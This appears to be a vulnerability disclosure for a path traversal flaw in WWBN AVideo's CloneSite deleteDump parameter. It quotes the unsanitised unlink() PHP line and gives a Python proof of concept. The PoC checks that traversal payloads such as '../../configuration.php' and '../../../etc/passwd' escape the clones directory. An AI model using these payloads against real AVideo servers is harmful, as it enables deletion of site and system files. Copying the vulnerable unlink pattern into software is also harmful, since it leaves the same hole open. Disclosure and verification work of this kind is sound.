WWBN AVideo has an incomplete fix for CVE-2026-33293: Path Traversal

if (!empty($_GET['deleteDump'])) {
    $resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");
    $resp->msg = "Delete Dump {$_GET['deleteDump']}";
    die(json_encode($resp));
}

"""
CVE-2026-33293 - AVideo CloneSite Path Traversal
"""

import sys
import os

VULN_SRC = os.path.join(os.path.dirname(__file__), "src", "cloneServer.json.php")

def verify_source_file():
    if not os.path.isfile(VULN_SRC):
        print("ERROR: Source not found at %s" % VULN_SRC)
        sys.exit(1)
    with open(VULN_SRC, "r") as f:
        src = f.read()
    if "unlink(" not in src or "deleteDump" not in src:
        print("ERROR: Expected patterns not found")
        sys.exit(1)
    return src

def vulnerable_delete_path(clones_dir, delete_dump):
    return clones_dir + delete_dump

def test_path_traversal():
    clones_dir = "/var/www/html/AVideo/videos/clones/"
    payloads = [
        ("../../configuration.php", "Delete site configuration"),
        ("../../../etc/passwd", "Delete system file"),
        ("../../.htaccess", "Delete .htaccess"),
    ]

    print("Testing path traversal via deleteDump parameter:")
    print("Base clones_dir: %s" % clones_dir)
    print()

    all_traversal = True
    for payload, desc in payloads:
        resolved = vulnerable_delete_path(clones_dir, payload)
        real_resolved = os.path.normpath(resolved)
        escaped = not real_resolved.startswith(os.path.normpath(clones_dir))

        if escaped:
            print("[+] TRAVERSAL: %s" % desc)
            print("    Payload: deleteDump=%s" % payload)
            print("    unlink() target: %s" % resolved)
            print("    Normalized: %s" % real_resolved)
        else:
            all_traversal = False

    return all_traversal

def main():
    print("=" * 70)
    print("CVE-2026-33293: AVideo CloneSite Path Traversal PoC")
    print("=" * 70)
    print()

    src = verify_source_file()
    print("[+] Source file verified: %s" % VULN_SRC)

    for line in src.split('\n'):
        if 'unlink(' in line and 'deleteDump' in line:
            print("[+] Vulnerable line: %s" % line.strip())
            break
    print()

    if test_path_traversal():
        print("\nVULNERABILITY CONFIRMED")
        sys.exit(0)
    else:
        print("\nVULNERABILITY NOT CONFIRMED")
        sys.exit(1)

if __name__ == "__main__":
    main()

python3 poc.py